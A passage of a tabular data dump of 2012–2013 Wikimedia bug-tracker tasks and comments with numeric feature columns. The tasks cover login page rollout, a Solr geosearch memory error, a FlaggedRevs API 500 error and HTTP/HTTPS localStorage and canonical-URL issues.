new version looks absolutely crappy on my browser."
221208,Make new user login/account creation the only version after testing and MW namespace cleanup,Related URL: https://gerrit.wikimedia.org/r/65340 (Gerrit Change I2f4cb4032871737f96f3d28a8fd974f1d8ba4ccc),,,1369433577,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,1,False,,,-14,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I2f4cb4032871737f96f3d28a8fd974f1d8ba4ccc)
221205,Make new user login/account creation the only version after testing and MW namespace cleanup,"**swalling** wrote:

(In reply to comment #2)
> There may be some small blockers.  Currently, only the login version of this
> is
> in core.  We'll get create in (on its way at
> https://gerrit.wikimedia.org/r/#/c/57823/ ).  Then, after it's stable enough
> and wikis are happy with their customizations/help pages/messages, we can
> resolve this bug.

Yes, this is looking forward a bit, as a bug. We are going to give one week of community testing time after both account creation and login are soft-launched across the cluster, respond to feedback, and work on the necessary cleanup before launching as default.",,,1366746256,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,1,False,,,-19,True,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,13.0,0.0,2.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,18.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,11.0,0.0,4.0,6.0,0.0,0.0,0.0,1.0,4.0,1.0,2.0,0.0,1.0,13.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,3.597560975609756,0.6951219512195121,"**swalling** wrote:

(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yes, this is looking forward a bit, as a bug. We are going to give one week of community testing time after both account creation and login are soft-launched across the cluster, respond to feedback, and work on the necessary cleanup before launching as default."
221200,Make new user login/account creation the only version after testing and MW namespace cleanup,"Also, we renamed useAgora to useNew.",,,1366745871,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,1,False,,,-19,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,12.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.875,1.0,"Also, we renamed useAgora to useNew."
221198,Make new user login/account creation the only version after testing and MW namespace cleanup,"There may be some small blockers.  Currently, only the login version of this is in core.  We'll get create in (on its way at https://gerrit.wikimedia.org/r/#/c/57823/ ).  Then, after it's stable enough and wikis are happy with their customizations/help pages/messages, we can resolve this bug.",,,1366745833,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,1,False,,,-19,True,2.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,3.0,2.0,0.0,2.0,2.0,3.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,13.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,8.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,8.0,11.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4754098360655736,0.8360655737704918,"There may be some small blockers.  Currently, only the login version of this is in core.  We'll get create in (on its way at URL ).  Then, after it's stable enough and wikis are happy with their customizations/help pages/messages, we can resolve this bug."
221192,Make new user login/account creation the only version after testing and MW namespace cleanup,"Matthew: Is there any timeframe (or ""Is this stable enough"" / ""Should any bug reports get fixed first and hence block this one which is about 'deployment'"")?",,,1366712736,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,1,True,,,-19,True,5.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,3.0,0.0,0.0,8.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,11.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,16.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5405405405405403,0.8108108108108109,"Matthew: Is there any timeframe (or ""Is this stable enough"" / ""Should any bug reports get fixed first and hence block this one which is about 'deployment'"")?"
47014,Solarium_Client_HttpException on geosearch,"<?xml version=""1.0""?>
<api servedby=""mw1115"">
  <error code=""internal_api_error_MWException"" info=""Exception Caught: Solarium_Client_HttpException at /usr/local/apache/common-local/php-1.21wmf9/extensions/Solarium/lib/Result.php, line 98: Solr HTTP error: Java heap space  java.lang.OutOfMemoryError: Java heap space  (500)"" xml:space=""preserve"" />
</api>

for http://en.wikipedia.org/w/api.php?action=query&list=geosearch&gsradius=10000&gspage=Washington,%20D.C.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1360874880,1360949495.0,PHID-USER-a6jwrurphpx6yl4coupk,False,,False,PHID-TASK-gsf7tirlbab2opkljop6,task_description,resolved,True,c2,1,False,False,True,-28,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,11.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.237113402061856,0.5567010309278351,"<?xml version=""1.0""?>
<api servedby=""mw1115"">
  <error code=""internal_api_error_MWException"" info=""Exception Caught: Solarium_Client_HttpException at /usr/local/apache/common-local/php-1.21wmf9/extensions/Solarium/lib/Result.php, line 98: Solr HTTP error: Java heap space  java.lang.OutOfMemoryError: Java heap space  (500)"" xml:space=""preserve"" />
</api>

for URL

--------------------------
**Version**: unspecified
**Severity**: major"
218978,Solarium_Client_HttpException on geosearch,"merged, looks working. Thanks.",,,1360949495,,PHID-USER-a6jwrurphpx6yl4coupk,False,,,PHID-TASK-gsf7tirlbab2opkljop6,task_subcomment,,True,c2,1,False,,,-28,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,3.857142857142857,0.8571428571428571,"merged, looks working. Thanks."
218974,Solarium_Client_HttpException on geosearch,"solr3 and solr1003 went bonkers. Per http://marcus.net/blog/2007/11/10/solr-search-and-java-gc-tuning/ enabling concurrent GC should help.

https://gerrit.wikimedia.org/r/49159",,,1360876021,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-gsf7tirlbab2opkljop6,task_subcomment,,True,c2,1,False,,,-28,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.8125,0.9375,"solr3 and solr1003 went bonkers. Per URL enabling concurrent GC should help.

GERRIT_URL"
46527,FlaggedRevs API action=stabilize returns HTTP 500,"I attempted to make this HTTP POST request to api.php on testwiki:

action=stabilize&title=Gold&token=<VALID EDIT TOKEN>&protectlevel=autoconfirmed&expiry=1%20month&reason=vandalism&format=xml

An HTTP 500 Internal Server Error, with no debug information, was returned. Apparently the same occurs on enwiki.

As far as I can see, the query is valid. Therefore the action=stabilize API is broken on these wikis, which in my view is a serious bug.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1359598320,1359665791.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-qqhen4j7bcyelc4tvore,task_description,resolved,True,c2,1,False,False,True,-30,True,0.0,0.0,0.0,1.5,0.0,5.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.5,0.0,3.5,5.5,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,3.5,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.5,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,11.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.5,12.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,2.5,5.5,5.5,0.0,0.0,0.0,2.5,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.5,4.509803921568627,0.7549019607843137,"I attempted to make this HTTP POST request to api.php on testwiki:

action=stabilize&title=Gold&token=<VALID EDIT TOKEN>&protectlevel=autoconfirmed&expiry=1%20month&reason=vandalism&format=xml

An HTTP 500 Internal Server Error, with no debug information, was returned. Apparently the same occurs on enwiki.

As far as I can see, the query is valid. Therefore the action=stabilize API is broken on these wikis, which in my view is a serious bug.

--------------------------
**Version**: unspecified
**Severity**: major"
215560,FlaggedRevs API action=stabilize returns HTTP 500,"

*** This bug has been marked as a duplicate of bug 44468 ***",,,1359665791,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-qqhen4j7bcyelc4tvore,task_subcomment,,True,c2,1,True,,,-30,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 44468 ***"
45909,https interferes with clicking watchlist icon when logged out and then automatically watching the article when redirected back,"In Safari Desktop browser go to http://en.m.wikipedia.org/wiki/Little_Moreton_Hall whilst not logged in
Click the star, log in. When redirected back to article the article does not get watched. Logout

Go to the same page but in https mode
https://en.m.wikipedia.org/wiki/Little_Moreton_Hall
Click the star, login. When redirected back the article is watched.

The problem is that localStorage is protocol dependant. There is different localStorage for https to http.

We should probably consider using https entirely as this is going to bite us harder when we start using localStorage more aggressively..

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=44330",High,80.0,1358019600,1359394711.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-eb5poownhdfeiocf4tmc,task_description,resolved,True,c2,1,False,False,True,-33,True,0.0,0.0,1.0,0.5,1.0,4.0,0.5,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,2.5,0.0,9.0,7.0,0.0,1.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,12.0,1.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,3.0,3.5,11.5,2.5,0.5,4.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.5,7.0,2.0,0.0,0.0,0.0,2.5,0.0,2.0,0.0,1.0,2.5,1.5,0.0,0.0,3.9923076923076923,0.6153846153846154,"In Safari Desktop browser go to URL whilst not logged in
Click the star, log in. When redirected back to article the article does not get watched. Logout

Go to the same page but in https mode
URL
Click the star, login. When redirected back the article is watched.

The problem is that localStorage is protocol dependant. There is different localStorage for https to http.

We should probably consider using https entirely as this is going to bite us harder when we start using localStorage more aggressively..

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
228522,https interferes with clicking watchlist icon when logged out and then automatically watching the article when redirected back,https://gerrit.wikimedia.org/r/#/c/45495/ seems to take care of this and now it has been merged.,,,1359394711,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-eb5poownhdfeiocf4tmc,task_subcomment,,True,c2,1,False,,,-31,True,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,14.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,1.0,URL seems to take care of this and now it has been merged.
228517,https interferes with clicking watchlist icon when logged out and then automatically watching the article when redirected back,"I'm going to try and tackle this based off of the convo that happened in #wikimedia-mobile (see below). This will NOT resolve the issue Jon raised in comment #2, but that is orthogonal to the original bug posted here anyway.

From #wikimedia-mobile:
4:23
jdlrobson
awjr: sorry just had to have a walk. I have another solution thanks to ori-l for the watch list dilemma

4:24
awjr
jdlrobson: sweet tell me more

4:24
jdlrobson
we can do the actual watch action on the server side
so concretely we add a hidden input field to the login form that triggers a post login hook that adds the article to the watchlist

4:25
awjr
that makes sense",,,1358899850,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-eb5poownhdfeiocf4tmc,task_subcomment,,True,c2,1,False,,,-31,True,0.0,0.0,0.0,0.0,0.5,3.5,0.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,3.0,0.0,4.0,7.5,0.0,1.0,0.0,0.0,0.0,1.5,0.5,0.0,0.5,0.5,0.5,0.0,5.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,0.5,0.0,2.0,0.0,20.0,2.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,2.0,0.0,7.5,0.5,3.0,0.0,1.0,9.5,0.0,0.0,0.0,1.5,3.0,0.5,3.0,0.0,3.0,7.5,0.5,0.0,0.0,0.0,3.0,0.0,2.5,2.0,0.5,0.5,0.5,0.0,0.0,3.660958904109589,0.7139948167345428,"I'm going to try and tackle this based off of the convo that happened in #wikimedia-mobile (see below). This will NOT resolve the issue Jon raised in comment #2, but that is orthogonal to the original bug posted here anyway.

From #wikimedia-mobile:
4:23
jdlrobson
awjr: sorry just had to have a walk. I have another solution thanks to ori-l for the watch list dilemma

4:24
awjr
jdlrobson: sweet tell me more

4:24
jdlrobson
we can do the actual watch action on the server side
so concretely we add a hidden input field to the login form that triggers a post login hook that adds the article to the watchlist

4:25
awjr
that makes sense"
228509,https interferes with clicking watchlist icon when logged out and then automatically watching the article when redirected back,http://stackoverflow.com/questions/10502469/is-there-any-workaround-to-make-use-of-html5-localstorage-on-both-http-and-https may be of interest..,,,1358202740,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-eb5poownhdfeiocf4tmc,task_subcomment,,True,c2,1,False,,,-33,True,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,URL may be of interest..
228502,https interferes with clicking watchlist icon when logged out and then automatically watching the article when redirected back,"(In reply to comment #4)
> CTA means call to action but this is not very descriptive. I've updated the
> title to reflect this better.

It was also a pleonasm (""call to action action""), as I suspected. ;-)  Thanks for updating the bug summary.",,,1358136687,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-eb5poownhdfeiocf4tmc,task_subcomment,,True,c2,1,True,,,-33,True,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,12.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,15.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,5.0,0.0,2.0,0.0,5.0,12.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.075,0.8,"(In reply to comment #4)
QUOTE
QUOTE

It was also a pleonasm (""call to action action""), as I suspected. ;-)  Thanks for updating the bug summary."
228498,https interferes with clicking watchlist icon when logged out and then automatically watching the article when redirected back,"Thanks Max for reminding me to use terminology that people less close to the project understand! (appreciate it!)

CTA means call to action but this is not very descriptive. I've updated the title to reflect this better.",,,1358123957,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-eb5poownhdfeiocf4tmc,task_subcomment,,True,c2,1,False,,,-33,True,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,11.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,11.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,9.0,0.0,2.0,9.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,0.0,7.0,11.0,4.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,2.0,2.0,4.0,0.0,0.0,4.111111111111111,0.8444444444444444,"Thanks Max for reminding me to use terminology that people less close to the project understand! (appreciate it!)

CTA means call to action but this is not very descriptive. I've updated the title to reflect this better."
228493,https interferes with clicking watchlist icon when logged out and then automatically watching the article when redirected back,"What's a ""cta action""?",,,1358110828,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-eb5poownhdfeiocf4tmc,task_subcomment,,True,c2,1,True,,,-33,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,25.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,2.375,0.875,"What's a ""cta action""?"
228488,https interferes with clicking watchlist icon when logged out and then automatically watching the article when redirected back,It's also worth noting that if you login on https you do not login on http (it redirects you to https).. which is rather infuriating if you bookmark a http link or follow most google search results then want to watch an article...,,,1358109495,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-eb5poownhdfeiocf4tmc,task_subcomment,,True,c2,1,False,,,-33,True,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,4.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,17.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,6.0,2.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,15.0,2.0,0.0,0.0,0.0,12.0,0.0,2.0,4.0,0.0,4.0,0.0,2.0,0.0,3.9166666666666665,0.8125,It's also worth noting that if you login on https you do not login on http (it redirects you to https).. which is rather infuriating if you bookmark a http link or follow most google search results then want to watch an article...
228482,https interferes with clicking watchlist icon when logged out and then automatically watching the article when redirected back,"Is there a way to make local storage be protocol relative? Eg use // rather than http:// or https://?

I wonder what the implications are for forcing https for all mobile views - are there issues with any devices supporting https?",,,1358109315,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-eb5poownhdfeiocf4tmc,task_subcomment,,True,c2,1,False,,,-33,True,5.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,2.0,2.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,9.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,11.0,5.0,5.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,4.204545454545454,0.8863636363636364,"Is there a way to make local storage be protocol relative? Eg use // rather than http:// or URL

I wonder what the implications are for forcing https for all mobile views - are there issues with any devices supporting https?"
45466,"when serving Uzbek Wikipedia, make HTTPS canonical","**Author:** `sumanah`

**Description:**
Per http://lists.wikimedia.org/pipermail/wikimedia-l/2012-December/123135.html - ""should the Uzbek Wikipedia be set up in a way that makes access via the HTTPS protocol the canonical one?""

Tim Starling asked http://lists.wikimedia.org/pipermail/wikimedia-l/2012-December/123142.html :

> Is it enough to set the <link rel=""canonical"">, or is it also necessary to redirect?

> Either way, the Squid cache would have to be purged, then the search engines would have to reread that site.

Answer http://lists.wikimedia.org/pipermail/wikimedia-l/2012-December/123148.html :

> When I asked the nice folks at Google's search team, they answered me the following:

> * The best answer would for them to use rel=canonical tags so that http://example.wikimedia.uz points to http*s*://example.wikimedia.uz. So I'd send them this page: http://support.google.com/webmasters/bin/answer.py?hl=en&answer=139394 and tell them to start doing that. If they're very serious (and it's a small property, so there's not much risk) then they could make every http page 301 to the https version as well.

> I don't know how much effort each of these two measures would be. If you'd ask me, I would suggest to be ""very serious"", but we are not under a deadline (the situation has been like this for more than a year now), and setting the rel=""caonical"" would already be really, really helpful.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement",High,80.0,1356638580,1357535194.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-vzkv2gkncqkw4yvottlk,task_description,resolved,True,c2,1,False,False,True,-35,True,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,1.0,25.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,5.0,15.0,1.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.518987341772152,0.5316455696202531,"**Author:** CODE

**Description:**
Per URL - ""should the Uzbek Wikipedia be set up in a way that makes access via the HTTPS protocol the canonical one?""

Tim Starling asked URL :

QUOTE

QUOTE

Answer URL :

QUOTE

QUOTE

QUOTE

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement"
